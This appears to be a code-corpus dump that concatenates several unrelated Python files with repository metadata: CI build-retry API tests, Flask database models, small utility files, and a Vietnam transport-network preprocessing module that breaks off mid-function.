import mock import yaml from datetime import datetime from changes.config import db from changes.constants import Cause, Result, SelectiveTestingPolicy, Status from changes.models.build import Build from changes.models.job import Job from changes.models.project import ProjectOption from changes.testutils import APITestCase, SAMPLE_DIFF, SAMPLE_DIFF_BYTES from changes.vcs.base import CommandError, InvalidDiffError, RevisionResult, UnknownRevision, Vcs class DiffBuildRetryTest(APITestCase): def get_fake_vcs(self, log_results=None): def _log_results(parent=None, branch=None, offset=0, limit=1): assert not branch return iter([ RevisionResult( id='a' * 40, message='hello world', author='Foo <foo@example.com>', author_date=datetime.utcnow(), )]) if log_results is None: log_results = _log_results # Fake having a VCS and stub the returned commit log fake_vcs = mock.Mock(spec=Vcs) fake_vcs.read_file.side_effect = CommandError( cmd="test command", retcode=128) fake_vcs.exists.return_value = True fake_vcs.log.side_effect = UnknownRevision( cmd="test command", retcode=128) fake_vcs.export.side_effect = UnknownRevision( cmd="test command", retcode=128) fake_vcs.get_patch_hash.return_value = 'a' * 40 def fake_update(): # this simulates the effect of calling update() on a repo, # mainly that `export` and `log` now works. fake_vcs.log.side_effect = log_results fake_vcs.export.side_effect = None fake_vcs.export.return_value = SAMPLE_DIFF_BYTES fake_vcs.update.side_effect = fake_update return fake_vcs def setUp(self): super(DiffBuildRetryTest, self).setUp() diff_id = 123 self.project = self.create_project() self.patch = self.create_patch( repository_id=self.project.repository_id, diff=SAMPLE_DIFF ) self.source = self.create_source( self.project, patch=self.patch, ) self.diff = self.create_diff(diff_id, source=self.source) self.create_plan(self.project) @mock.patch('changes.models.repository.Repository.get_vcs') def test_simple(self, get_vcs): get_vcs.return_value = self.get_fake_vcs() build = self.create_build( project=self.project, source=self.source, status=Status.finished, result=Result.failed, selective_testing_policy=SelectiveTestingPolicy.enabled, ) job = self.create_job(build=build) path = '/api/0/phabricator_diffs/{0}/retry/'.format(self.diff.diff_id) resp = self.client.post(path, follow_redirects=True) assert resp.status_code == 200 data = self.unserialize(resp) assert len(data) == 1 new_build = Build.query.get(data[0]['id']) assert new_build.id != build.id assert new_build.collection_id != build.collection_id assert new_build.project_id == self.project.id assert new_build.cause == Cause.retry assert new_build.author_id == build.author_id assert new_build.source_id == build.source_id assert new_build.label == build.label assert new_build.message == build.message assert new_build.target == build.target assert new_build.selective_testing_policy == build.selective_testing_policy (new_job,) = list(Job.query.filter( Job.build_id == new_build.id, )) assert new_job.id != job.id @mock.patch('changes.models.repository.Repository.get_vcs') def test_simple_multiple_diffs(self, get_vcs): get_vcs.return_value = self.get_fake_vcs() self.create_diff(124, source=self.source) build = self.create_build( project=self.project, source=self.source, status=Status.finished, result=Result.failed ) job = self.create_job(build=build) path = '/api/0/phabricator_diffs/{0}/retry/'.format(self.diff.diff_id) resp = self.client.post(path, follow_redirects=True) assert resp.status_code == 200 data = self.unserialize(resp) assert len(data) == 1 new_build = Build.query.get(data[0]['id']) assert new_build.id != build.id assert new_build.collection_id != build.collection_id assert new_build.project_id == build.project_id assert new_build.source_id == build.source_id (new_job,) = list(Job.query.filter( Job.build_id == new_build.id, )) assert new_job.id != job.id @mock.patch('changes.models.repository.Repository.get_vcs') def test_simple_passed(self, get_vcs): get_vcs.return_value = self.get_fake_vcs() build = self.create_build( project=self.project, source=self.source, status=Status.finished, result=Result.passed ) self.create_job(build=build) path = '/api/0/phabricator_diffs/{0}/retry/'.format(self.diff.diff_id) resp = self.client.post(path, follow_redirects=True) assert resp.status_code == 200 data = self.unserialize(resp) assert len(data) == 0 @mock.patch('changes.models.repository.Repository.get_vcs') def test_simple_in_progress(self, get_vcs): get_vcs.return_value = self.get_fake_vcs() build = self.create_build( project=self.project, source=self.source, status=Status.in_progress, result=Result.failed ) self.create_job(build=build) path = '/api/0/phabricator_diffs/{0}/retry/'.format(self.diff.diff_id) resp = self.client.post(path, follow_redirects=True) assert resp.status_code == 200 data = self.unserialize(resp) assert len(data) == 0 @mock.patch('changes.models.repository.Repository.get_vcs') def test_multiple_builds_same_project(self, get_vcs): get_vcs.return_value = self.get_fake_vcs() self.create_build( project=self.project, source=self.source ) build = self.create_build( project=self.project, source=self.source, status=Status.finished, result=Result.failed ) job = self.create_job(build=build) path = '/api/0/phabricator_diffs/{0}/retry/'.format(self.diff.diff_id) resp = self.client.post(path, follow_redirects=True) assert resp.status_code == 200 data = self.unserialize(resp) assert len(data) == 1 new_build = Build.query.get(data[0]['id']) assert new_build.id != build.id assert new_build.collection_id != build.collection_id assert new_build.project_id == self.project.id assert new_build.source_id == build.source_id (new_job,) = list(Job.query.filter( Job.build_id == new_build.id, )) assert new_job.id != job.id @mock.patch('changes.models.repository.Repository.get_vcs') def test_multiple_builds_different_projects(self, get_vcs): get_vcs.return_value = self.get_fake_vcs() self.create_build( project=self.project, source=self.source ) build = self.create_build( project=self.project, source=self.source, status=Status.finished, result=Result.failed ) job = self.create_job(build=build) project2 = self.create_project( repository=self.project.repository, name="project 2" ) build2 = self.create_build( project=project2, source=self.source, status=Status.finished, result=Result.passed ) self.create_job(build=build2) self.create_plan(project2) path = '/api/0/phabricator_diffs/{0}/retry/'.format(self.diff.diff_id) resp = self.client.post(path, follow_redirects=True) assert resp.status_code == 200 data = self.unserialize(resp) assert len(data) == 1 new_build = Build.query.get(data[0]['id']) assert new_build.id != build.id assert new_build.collection_id != build.collection_id assert new_build.project_id == self.project.id assert new_build.source_id == build.source_id (new_job,) = list(Job.query.filter( Job.build_id == new_build.id, )) assert new_job.id != job.id @mock.patch('changes.models.repository.Repository.get_vcs') def test_multiple_builds_different_projects_all_failed(self, get_vcs): get_vcs.return_value = self.get_fake_vcs() self.create_build( project=self.project, source=self.source ) build = self.create_build( project=self.project, source=self.source, status=Status.finished, result=Result.failed ) job = self.create_job(build=build) project2 = self.create_project( repository=self.project.repository, name="project 2" ) build2 = self.create_build( project=project2, source=self.source, status=Status.finished, result=Result.failed ) job2 = self.create_job(build=build2) self.create_plan(project2) path = '/api/0/phabricator_diffs/{0}/retry/'.format(self.diff.diff_id) resp = self.client.post(path, follow_redirects=True) assert resp.status_code == 200 data = self.unserialize(resp) assert len(data) == 2 data = [Build.query.get(x['id']) for x in data] (new_build,) = [x for x in data if x.project_id == build.project_id] assert new_build.id != build.id assert new_build.collection_id != build.collection_id assert new_build.source_id == build.source_id jobs = list(Job.query.filter( Job.build_id == new_build.id, )) new_job = jobs[0] assert new_job.id != job.id (new_build2,) = [x for x in data if x.project_id == build2.project_id] assert new_build2.id != build2.id assert new_build2.collection_id != build2.collection_id assert new_build2.source_id == build2.source_id (new_job,) = list(Job.query.filter( Job.build_id == new_build2.id, )) assert new_job.id != job2.id @mock.patch('changes.models.repository.Repository.get_vcs') def test_when_in_whitelist(self, get_vcs): get_vcs.return_value = self.get_fake_vcs() po = ProjectOption( project=self.project, name='build.file-whitelist', value='ci/*', ) db.session.add(po) db.session.commit() build = self.create_build( project=self.project, source=self.source, status=Status.finished, result=Result.failed ) job = self.create_job(build=build) path = '/api/0/phabricator_diffs/{0}/retry/'.format(self.diff.diff_id) resp = self.client.post(path, follow_redirects=True) assert resp.status_code == 200 data = self.unserialize(resp) assert len(data) == 1 new_build = Build.query.get(data[0]['id']) assert new_build.id != build.id assert new_build.collection_id != build.collection_id assert new_build.project_id == build.project_id assert new_build.source_id == build.source_id (new_job,) = list(Job.query.filter( Job.build_id == new_build.id, )) assert new_job.id != job.id @mock.patch('changes.models.repository.Repository.get_vcs') def test_when_not_in_whitelist(self, get_vcs): get_vcs.return_value = self.get_fake_vcs() po = ProjectOption( project=self.project, name='build.file-whitelist', value='nonexisting_directory', ) db.session.add(po) db.session.commit() build = self.create_build( project=self.project, source=self.source, status=Status.finished, result=Result.failed ) self.create_job(build=build) path = '/api/0/phabricator_diffs/{0}/retry/'.format(self.diff.diff_id) resp = self.client.post(path, follow_redirects=True) assert resp.status_code == 200 data = self.unserialize(resp) assert len(data) == 0 @mock.patch('changes.models.repository.Repository.get_vcs') def test_when_in_blacklist(self, get_vcs): fake_vcs = self.get_fake_vcs() fake_vcs.read_file.side_effect = None fake_vcs.read_file.return_value = yaml.safe_dump({ 'build.file-blacklist': ['ci/*'], }) get_vcs.return_value = fake_vcs build = self.create_build( project=self.project, source=self.source, status=Status.finished, result=Result.failed ) self.create_job(build=build) path = '/api/0/phabricator_diffs/{0}/retry/'.format(self.diff.diff_id) resp = self.client.post(path, follow_redirects=True) assert resp.status_code == 200 data = self.unserialize(resp) assert len(data) == 0 @mock.patch('changes.models.repository.Repository.get_vcs') def test_when_not_all_in_blacklist(self, get_vcs): fake_vcs = self.get_fake_vcs() fake_vcs.read_file.side_effect = None fake_vcs.read_file.return_value = yaml.safe_dump({ 'build.file-blacklist': ['ci/not-real'], }) get_vcs.return_value = fake_vcs build = self.create_build( project=self.project, source=self.source, status=Status.finished, result=Result.failed ) job = self.create_job(build=build) path = '/api/0/phabricator_diffs/{0}/retry/'.format(self.diff.diff_id) resp = self.client.post(path, follow_redirects=True) assert resp.status_code == 200 data = self.unserialize(resp) assert len(data) == 1 new_build = Build.query.get(data[0]['id']) assert new_build.id != build.id assert new_build.collection_id != build.collection_id assert new_build.project_id == build.project_id assert new_build.source_id == build.source_id (new_job,) = list(Job.query.filter( Job.build_id == new_build.id, )) assert new_job.id != job.id @mock.patch('changes.models.repository.Repository.get_vcs') def test_invalid_diff(self, get_vcs): fake_vcs = self.get_fake_vcs() fake_vcs.read_file.side_effect = None fake_vcs.read_file.return_value = yaml.safe_dump({ 'build.file-blacklist': ['ci/not-real'], }) get_vcs.return_value = fake_vcs build = self.create_build( project=self.project, source=self.source, status=Status.finished, result=Result.failed ) self.create_job(build=build) path = '/api/0/phabricator_diffs/{0}/retry/'.format(self.diff.diff_id) with mock.patch('changes.api.diff_build_retry.files_changed_should_trigger_project') as mocked: mocked.side_effect = InvalidDiffError resp = self.client.post(path, follow_redirects=True) assert resp.status_code == 400

32.844398

103

0.61588

1,962

15,831

4.759429

0.087156

0.040266

0.045941

0.049689

0.799636

0.790426

0.788392

0.782073

0.780788

0.769008

0

0.010677

0.278252

15,831

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32.912682

0.806581

0.009412

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0.70557

0

0.08075

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0.007958

0.026525

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0.076923

0

null

0

1

0

1

0

null

0

6

86abd0855dc3211ac3d645f9d6bd243a890c7ba9

844

py

Python

Tashkeela_IST/app/models.py

mahsayedsalem/Tashkeela_IST

ac9960071e08a984d7dc6da477a147ab784bd3d8

[ "MIT" ]

1

2019-09-04T16:02:23.000Z

Tashkeela_IST/app/models.py

mahsayedsalem/Tashkeela_IST

ac9960071e08a984d7dc6da477a147ab784bd3d8

[ "MIT" ]

null

Tashkeela_IST/app/models.py

mahsayedsalem/Tashkeela_IST

ac9960071e08a984d7dc6da477a147ab784bd3d8

[ "MIT" ]

null

from app import db class User(db.Model): id = db.Column(db.Integer, primary_key = True) name = db.Column(db.String(255)) email = db.Column(db.String(255), unique=True) def __init__(self, name, email): self.name = name self.email = email def __repr__(self): return '<User %r>' % self.name class Attendant(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(255)) email = db.Column(db.String(255), unique=True) img_1 = db.Column(db.String(255)) img_2 = db.Column(db.String(255)) img_3 = db.Column(db.String(255)) img_4 = db.Column(db.String(255)) img_5 = db.Column(db.String(255)) def __init__(self, name, email): self.name = name self.email = email def __repr__(self): return '<User %r>' % self.name

27.225806

50

0.618483

129

844

3.868217

0.24031

0.176353

0.220441

0.288577

0.907816

0.869739

0.693387

0

0.049307

0.231043

844

30

51

28.133333

0.719569

0

0.666667

0

0.021327

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1

0.166667

false

0

0.041667

0.083333

0.833333

0

null

0

1

0

1

0

null

0

1

0

6

86c7eab9a1398cdb9409c57fea1434045864ca38

151

py

Python

satyrus/sat/types/symbols/__init__.py

lucasvg/Satyrus3-FinalProject-EspTopsOTM

024785752abdc46e3463d8c94df7c3da873c354d

[ "MIT" ]

null

satyrus/sat/types/symbols/__init__.py

lucasvg/Satyrus3-FinalProject-EspTopsOTM

024785752abdc46e3463d8c94df7c3da873c354d

[ "MIT" ]

null

satyrus/sat/types/symbols/__init__.py

lucasvg/Satyrus3-FinalProject-EspTopsOTM

024785752abdc46e3463d8c94df7c3da873c354d

[ "MIT" ]

null

from .main import SYS_CONFIG, DEF_CONSTANT, DEF_ARRAY, DEF_CONSTRAINT, CONS_INT, CONS_OPT from .main import PREC, DIR, LOAD, OUT, EPSILON, ALPHA, EXIT

75.5

90

0.788079

25

151

4.52

0.76

0.141593

0.247788

0

0.125828

151

2

91

75.5

0.856061

0

1

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true

0

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1

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1

0

null

0

1

0

1

0

1

0

6

86d5583a7e3c678b81291c4fe151342d11161d67

153

py

Python

plugins/raid/render/diff.py

dwieland/carnibot

83d660cac151739b524c6f11e8e7fe0b068869d7

[ "Apache-2.0" ]

1

2018-08-02T06:27:37.000Z

plugins/raid/render/diff.py

dwieland/carnibot

83d660cac151739b524c6f11e8e7fe0b068869d7

[ "Apache-2.0" ]

4

2018-08-02T06:35:07.000Z

2018-08-02T06:37:14.000Z

plugins/raid/render/diff.py

dwieland/carnibot

83d660cac151739b524c6f11e8e7fe0b068869d7

[ "Apache-2.0" ]

null

class Diff: def __init__(self, wrapped): self.wrapped = wrapped def __str__(self): return "```diff\n{}```".format(self.wrapped)

21.857143

52

0.594771

18

153

4.611111

0.555556

0.39759

0

0.24183

153

6

53

25.5

0.715517

0

0.091503

0

1

0.4

false

0

0.2

0.8

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

86e47f34384c693d9b7709cd89a59571199f5091

25

py

Python

hackerrank/test.py

rayguang/ratesbuddy

ec97f85201812967bb3380bba6de41bdb223eab6

[ "MIT" ]

null

hackerrank/test.py

rayguang/ratesbuddy

ec97f85201812967bb3380bba6de41bdb223eab6

[ "MIT" ]

null

hackerrank/test.py

rayguang/ratesbuddy

ec97f85201812967bb3380bba6de41bdb223eab6

[ "MIT" ]

null

l=[1,2,3] print(len(l))

6.25

13

0.52

7

25

1.857143

0.857143

0

0.136364

0.12

25

4

13

6.25

0.454545

0

1

0

false

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0.5

1

null

0

1

0

1

0

null

0

1

0

6

811589c5ec25c65818812b76730c53ed53da0471

41,126

py

Python

src/vtra/preprocess/transport_network_inputs.py

GFDRR/vietnam-transport

71f6fc8cb7f1ca7bccb9a29d544869b442e68bfc

[ "MIT" ]

3

2018-07-09T12:15:46.000Z

2020-12-03T07:02:23.000Z

src/vtra/preprocess/transport_network_inputs.py

GFDRR/vietnam-transport

71f6fc8cb7f1ca7bccb9a29d544869b442e68bfc

[ "MIT" ]

1

2019-05-09T21:57:20.000Z

src/vtra/preprocess/transport_network_inputs.py

GFDRR/vietnam-transport

71f6fc8cb7f1ca7bccb9a29d544869b442e68bfc

[ "MIT" ]

2

2018-07-23T12:49:21.000Z

2021-06-03T11:00:44.000Z

"""Utility functions for transport networks Purpose ------- Helper functions to create post-processeed networks with attributes from specific types of input datasets References ---------- 1. Pant, R., Koks, E.E., Russell, T., Schoenmakers, R. & Hall, J.W. (2018). Analysis and development of model for addressing climate change/disaster risks in multi-modal transport networks in Vietnam. Final Report, Oxford Infrastructure Analytics Ltd., Oxford, UK. 2. All input data folders and files referred to in the code below. """ import csv import os import geopandas as gpd import igraph as ig import networkx as nx import numpy as np import pandas as pd from vtra.utils import line_length def assign_province_road_conditions(x): """Assign road conditions as paved or unpaved to Province roads Parameters x - Pandas DataFrame of values - code - Numeric code for type of asset - level - Numeric code for level of asset Returns String value as paved or unpaved """ asset_code = x.code asset_level = x.level # This is an expressway, national and provincial road if asset_code in (17, 303) or asset_level in (0, 1): return 'paved' else: # Anything else not included above return 'unpaved' def assign_assumed_width_to_province_roads_from_file(asset_width, width_range_list): """Assign widths to Province roads assets in Vietnam The widths are assigned based on our understanding of: 1. The reported width in the data which is not reliable 2. A design specification based understanding of the assumed width based on ranges of values Parameters - asset_width - Numeric value for width of asset - width_range_list - List of tuples containing (from_width, to_width, assumed_width) Returns assumed_width - assigned width of the raod asset based on design specifications """ assumed_width = asset_width for width_vals in width_range_list: if width_vals[0] <= assumed_width <= width_vals[1]: assumed_width = width_vals[2] break return assumed_width def assign_assumed_width_to_province_roads(x): """Assign widths to Province roads assets in Vietnam Parameters x : int value for width of asset Returns int assigned width of the road asset based on design specifications """ if float(x.width) == 0: return 4.5 else: return float(x.width) def assign_asset_type_to_province_roads_from_file(asset_code, asset_type_list): """Assign asset types to roads assets in Vietnam based on values in file The types are assigned based on our understanding of: 1. The reported asset code in the data Parameters - asset_code - Numeric value for code of asset - asset_type_list - List of Strings wiht names of asset types Returns asset_type - String name of type of asset """ asset_type = 'road' for asset in asset_type_list: if asset_code == asset[0]: asset_type = asset[2] break return asset_type def assign_asset_type_to_province_roads(x): """Assign asset types to roads assets in Vietnam The types are assigned based on our understanding of: 1. The reported asset code in the data Parameters x - Pandas DataFrame with numeric asset code Returns asset type - Which is either of (Bridge, Dam, Culvert, Tunnel, Spillway, Road) """ if x.code in (12, 25): return 'Bridge' elif x.code == (23): return 'Dam' elif x.code == (24): return 'Culvert' elif x.code == (26): return 'Tunnel' elif x.code == (27): return 'Spillway' else: return 'Road' def assign_minmax_travel_speeds_province_roads_apply(x): """Assign travel speeds to roads assets in Vietnam The speeds are assigned based on our understanding of: 1. The types of assets 2. The levels of classification of assets: 0-National, 1-Provinical, 2-Local, 3-Other 3. The terrain where the assets are located: Flat or Mountain or No information Parameters x - Pandas dataframe with values - code - Numeric code for type of asset - level - Numeric code for level of asset - terrain - String value of the terrain of asset Returns - Float minimum assigned speed in km/hr - Float maximum assigned speed in km/hr """ asset_code = x.code asset_level = x.level asset_terrain = x.terrain if (not asset_terrain) or ('flat' in asset_terrain.lower()): if asset_code == 17: # This is an expressway return 100, 120 elif asset_code in (15, 4): # This is a residential road or a mountain pass return 40, 60 elif asset_level == 0: # This is any other national network asset return 80, 100 elif asset_level == 1: # This is any other provincial network asset return 60, 80 elif asset_level == 2: # This is any other local network asset return 40, 60 else: # Anything else not included above return 20, 40 else: if asset_level < 3: return 40, 60 else: return 20, 40 def assign_minmax_time_costs_province_roads_apply(x, cost_dataframe): """Assign time costs on Province roads in Vietnam The costs are assigned based on our understanding of: 1. The types of assets 2. The levels of classification of assets: 0-National, 1-Provinical, 2-Local, 3-Other 3. The terrain where the assets are located: Flat or Mountain or No information Parameters - x - Pandas dataframe with values - code - Numeric code for type of asset - level - Numeric code for level of asset - terrain - String value of the terrain of asset - length - Float length of edge in km - min_speed - Float minimum assigned speed in km/hr - max_speed - Float maximum assigned speed in km/hr - cost_dataframe - Pandas Dataframe with costs Returns - min_time_cost - Float minimum assigned cost of time in USD - max_time_cost - Float maximum assigned cost of time in USD """ asset_code = x.code asset_level = x.level asset_terrain = x.terrain min_time_cost = 0 max_time_cost = 0 cost_list = list(cost_dataframe.itertuples(index=False)) for cost_param in cost_list: if cost_param.code == asset_code: min_time_cost = 1.0*cost_param.time_cost_usd*(x.length/x.max_speed) max_time_cost = 1.0*cost_param.time_cost_usd*(x.length/x.min_speed) break elif cost_param.level == asset_level and cost_param.terrain == asset_terrain: min_time_cost = 1.0*cost_param.time_cost_usd*(x.length/x.max_speed) max_time_cost = 1.0*cost_param.time_cost_usd*(x.length/x.min_speed) break return min_time_cost, max_time_cost def assign_minmax_tariff_costs_province_roads_apply(x, cost_dataframe): """Assign tariff costs on Province roads in Vietnam The costs are assigned based on our understanding of: 1. The types of assets 2. The levels of classification of assets: 0-National, 1-Provinical, 2-Local, 3-Other 3. The terrain where the assets are located: Flat or Mountain or No information Parameters - x - Pandas dataframe with values - code - Numeric code for type of asset - level - Numeric code for level of asset - terrain - String value of the terrain of asset - cost_dataframe - Pandas Dataframe with costs Returns - min_tariff_cost - Float minimum assigned tariff cost in USD/ton - max_tariff_cost - Float maximum assigned tariff cost in USD/ton """ asset_code = x.code asset_level = x.level asset_terrain = x.terrain min_tariff_cost = 0 max_tariff_cost = 0 cost_list = list(cost_dataframe.itertuples(index=False)) for cost_param in cost_list: if cost_param.code == asset_code: min_tariff_cost = 1.0*cost_param.tariff_min_usd*x.length max_tariff_cost = 1.0*cost_param.tariff_max_usd*x.length break elif cost_param.level == asset_level and cost_param.terrain == asset_terrain: min_tariff_cost = 1.0*cost_param.tariff_min_usd*x.length max_tariff_cost = 1.0*cost_param.tariff_max_usd*x.length break return min_tariff_cost, max_tariff_cost def province_shapefile_to_dataframe(edges_in, road_terrain, road_properties_file,usage_factors): """Create province network dataframe from inputs Parameters - edges_in - String path to edges file/network Shapefile - road_terrain - String name of terrain: flat or mountanious - road_properties_file - String path to Excel file with road attributes - usage_factor - Tuple of 2-float values between 0 and 1 Returns edges - Geopandas DataFrame with network edge topology and attributes """ add_columns = ['number','name','terrain','level','surface','road_class', 'road_cond','asset_type','width','length','min_speed','max_speed', 'min_time','max_time','min_time_cost','max_time_cost','min_tariff_cost', 'max_tariff_cost','vehicle_co'] edges = gpd.read_file(edges_in,encoding='utf-8') edges.columns = map(str.lower, edges.columns) edges['number'] = '' edges['name'] = '' edges['surface'] = '' edges['road_class'] = '' edges['vehicle_co'] = 0 # assgin asset terrain edges['terrain'] = road_terrain # assign road conditon edges['road_cond'] = edges.apply(assign_province_road_conditions, axis=1) # assign asset type asset_type_list = [ tuple(x) for x in pd.read_excel(road_properties_file, sheet_name='provincial').values ] edges['asset_type'] = edges.code.apply( lambda x: assign_asset_type_to_province_roads_from_file(x, asset_type_list)) # get the right linelength edges['length'] = edges.geometry.apply(line_length) # correct the widths of the road assets # get the width of edges # width_range_list = [ # tuple(x) for x in # pd.read_excel(road_properties_file, sheet_name='widths').values # ] # edges['width'] = edges.width.apply( # lambda x: assign_assumed_width_to_province_roads_from_file(x, width_range_list)) edges['width'] = edges.apply(assign_assumed_width_to_province_roads,axis=1) # assign minimum and maximum speed to network edges['speed'] = edges.apply(assign_minmax_travel_speeds_province_roads_apply, axis=1) edges[['min_speed', 'max_speed']] = edges['speed'].apply(pd.Series) edges.drop('speed', axis=1, inplace=True) # assign minimum and maximum travel time to network edges['min_time'] = edges['length']/edges['max_speed'] edges['max_time'] = edges['length']/edges['min_speed'] cost_values_df = pd.read_excel(road_properties_file, sheet_name='costs') # assign minimum and maximum cost of time in USD to the network # the costs of time = (unit cost of time in USD/hr)*(travel time in hr) edges['time_cost'] = edges.apply( lambda x: assign_minmax_time_costs_province_roads_apply(x, cost_values_df), axis=1) edges[['min_time_cost', 'max_time_cost']] = edges['time_cost'].apply(pd.Series) edges.drop('time_cost', axis=1, inplace=True) # assign minimum and maximum cost of tonnage in USD/ton to the network # the costs of time = (unit cost of tariff in USD/ton-km)*(length in km) edges['tariff_cost'] = edges.apply( lambda x: assign_minmax_tariff_costs_province_roads_apply(x, cost_values_df), axis=1) edges[['min_tariff_cost', 'max_tariff_cost']] = edges['tariff_cost'].apply(pd.Series) edges.drop('tariff_cost', axis=1, inplace=True) edges['min_time_cost'] = (1 + usage_factors[0])*edges['min_time_cost'] edges['max_time_cost'] = (1 + usage_factors[1])*edges['max_time_cost'] edges['min_tariff_cost'] = (1 + usage_factors[0])*edges['min_tariff_cost'] edges['max_tariff_cost'] = (1 + usage_factors[1])*edges['max_tariff_cost'] # make sure that From and To node are the first two columns of the dataframe # to make sure the conversion from dataframe to igraph network goes smooth edges = edges[['edge_id','g_id','from_node','to_node'] + add_columns + ['geometry']] edges = edges.reindex(list(edges.columns)[2:]+list(edges.columns)[:2], axis=1) return edges def province_shapefile_to_network(edges_in, road_terrain, road_properties_file,usage_factors): """Create province igraph network from inputs Parameters - edges_in - String path to edges file/network Shapefile - road_terrain - String name of terrain: flat or mountanious - road_properties_file - String path to Excel file with road attributes - usage_factor - Tuple of 2-float values between 0 and 1 Returns G - Igraph object with network edge topology and attributes """ edges = province_shapefile_to_dataframe(edges_in, road_terrain, road_properties_file,usage_factors) G = ig.Graph.TupleList(edges.itertuples(index=False), edge_attrs=list(edges.columns)[2:]) return G def assign_national_road_terrain(x): """Assign terrain as flat or mountain to national roads Parameters x - Pandas DataFrame of values - dia_hinh__ - String value of type of terrain Returns String value of terrain as flat or mountain """ terrain_type = x.dia_hinh__ if terrain_type is None: return 'flat' elif 'flat' in terrain_type.lower().strip(): # Assume flat for all roads with no terrain return 'flat' else: # Anything else not included above return 'mountain' def assign_national_road_conditions(x): """Assign road conditions as paved or unpaved to national roads Parameters x - Pandas DataFrame of values - loai_mat__ - String value of road surface Returns String value of road as paved or unpaved """ road_cond = x.loai_mat__ if road_cond is None: return 'paved' elif 'asphalt' in road_cond.lower().strip(): # Assume asphalt for all roads with no condition return 'paved' else: # Anything else not included above return 'unpaved' def assign_national_road_class(x): """Assign road speeds to national roads Parameters x - Pandas DataFrame of values - capkth__ca - String value of road class - vehicle_co - Float value of number of vehicles on road Returns - Integer value of road class """ road_class = x.capkth__ca vehicle_numbers = x.vehicle_co if road_class is None: if vehicle_numbers >= 6000: return 1 elif 3000 <= vehicle_numbers < 6000: return 2 elif 1000 <= vehicle_numbers < 3000: return 3 elif 300 <= vehicle_numbers < 1000: return 4 elif 50 <= vehicle_numbers < 300: return 5 else: return 6 else: if ',' in road_class: road_class = road_class.split(',') else: road_class = [road_class] class_1 = [rc for rc in road_class if rc == 'i'] class_2 = [rc for rc in road_class if rc == 'ii'] class_3 = [rc for rc in road_class if rc == 'iii'] class_4 = [rc for rc in road_class if rc == 'iv'] class_5 = [rc for rc in road_class if rc == 'v'] class_6 = [rc for rc in road_class if rc == 'vi'] if class_1: return 1 elif class_2: return 2 elif class_3: return 3 elif class_4: return 4 elif class_5: return 5 elif class_6: return 6 elif vehicle_numbers >= 6000: return 1 elif 3000 <= vehicle_numbers < 6000: return 2 elif 1000 <= vehicle_numbers < 3000: return 3 elif 300 <= vehicle_numbers < 1000: return 4 elif 50 <= vehicle_numbers < 300: return 5 else: return 6 def assign_assumed_width_to_national_roads_from_file(x, flat_width_range_list, mountain_width_range_list): """Assign widths to national roads assets in Vietnam The widths are assigned based on our understanding of: 1. The class of the road which is not reliable 2. The number of lanes 3. The terrain of the road Parameters - x - Pandas DataFrame row with values - road_class - Integer value of road class - lanenum__s - Integer value of number of lanes on road - flat_width_range_list - List of tuples containing (from_width, to_width, assumed_width) - moiuntain_width_range_list - List of tuples containing (from_width, to_width, assumed_width) Returns assumed_width - Float assigned width of the road asset based on design specifications """ road_class = x.road_class road_lanes = x.lanenum__s if road_lanes is None: road_lanes = 0 else: road_lanes = int(road_lanes) road_terrain = x.terrain assumed_width = 3.5 if road_terrain == 'flat': for vals in flat_width_range_list: if road_class == vals.road_class: if road_lanes > 0 and road_lanes <= 8: assumed_width = road_lanes * vals.lane_width + \ vals.median_strip + 2.0 * vals.shoulder_width else: assumed_width = vals.road_width break else: for vals in mountain_width_range_list: if road_class == vals.road_class: if road_lanes > 0 and road_lanes <= 8: assumed_width = road_lanes * vals.lane_width + \ vals.median_strip + 2.0 * vals.shoulder_width else: assumed_width = vals.road_width break return assumed_width def assign_min_max_speeds_to_national_roads_from_file(x, flat_width_range_list, mountain_width_range_list): """Assign speeds to national roads in Vietnam The speeds are assigned based on our understanding of: 1. The class of the road 2. The estimated speed from the CVTS data 3. The terrain of the road Parameters x - Pandas DataFrame of values - road_class - Integer value of road class - terrain - String value of road terrain - est_speed - Float value of estimated speed from CVTS data - flat_width_range_list - List of tuples containing design speeds - moiuntain_width_range_list - List of tuples containing design speeds Returns - Float minimum assigned speed in km/hr - Float maximum assigned speed in km/hr """ road_class = x.road_class road_terrain = x.terrain est_speed = x.est_speed min_speed = est_speed max_speed = est_speed if road_terrain == 'flat': for vals in flat_width_range_list: if road_class == vals.road_class: if est_speed == 0: min_speed = vals.design_speed max_speed = vals.design_speed elif est_speed >= vals.design_speed: min_speed = vals.design_speed else: max_speed = vals.design_speed break else: for vals in mountain_width_range_list: if road_class == vals.road_class: if est_speed == 0: min_speed = vals.design_speed max_speed = vals.design_speed elif est_speed >= vals.design_speed: min_speed = vals.design_speed else: max_speed = vals.design_speed break return min_speed, max_speed def assign_minmax_time_costs_national_roads_apply(x, cost_dataframe): """Assign time costs on national roads in Vietnam The costs are assigned based on our understanding of: 1. The vehicle counts on roads 2. The levels of classification of assets: 0-National, 1-Provinical, 2-Local, 3-Other 3. The terrain where the assets are located: Flat or Mountain or No information Parameters - x - Pandas dataframe with values - vehicle_co - Count of number of vehicles on road - code - Numeric code for type of asset - level - Numeric code for level of asset - terrain - String value of the terrain of asset - length - Float length of edge in km - min_speed - Float minimum assigned speed in km/hr - max_speed - Float maximum assigned speed in km/hr - cost_dataframe - Pandas Dataframe with costs Returns - min_time_cost - Float minimum assigned cost of time in USD - max_time_cost - Float maximum assigned cost of time in USD """ if x.vehicle_co > 2000: asset_code = 17 else: asset_code = 1 asset_level = 1 asset_terrain = x.terrain min_time_cost = 0 max_time_cost = 0 cost_list = list(cost_dataframe.itertuples(index=False)) for cost_param in cost_list: if (cost_param.code == asset_code) and (cost_param.road_cond == x.road_cond): min_time_cost = 1.0*cost_param.time_cost_usd*(x.length/x.max_speed) max_time_cost = 1.0*cost_param.time_cost_usd*(x.length/x.min_speed) break elif (cost_param.level == asset_level) and (cost_param.terrain == asset_terrain) and \ (cost_param.road_cond == x.road_cond): min_time_cost = 1.0*cost_param.time_cost_usd*(x.length/x.max_speed) max_time_cost = 1.0*cost_param.time_cost_usd*(x.length/x.min_speed) break return min_time_cost, max_time_cost def assign_minmax_tariff_costs_national_roads_apply(x, cost_dataframe): """Assign tariff costs on national roads in Vietnam The costs are assigned based on our understanding of: 1. The vehicle counts on roads Parameters - x - Pandas dataframe with values - vehicle_co - Count of number of vehicles on road - cost_dataframe - Pandas Dataframe with costs Returns - min_tariff_cost - Float minimum assigned tariff cost in USD/ton - max_tariff_cost - Float maximum assigned tariff cost in USD/ton """ min_tariff_cost = 0 max_tariff_cost = 0 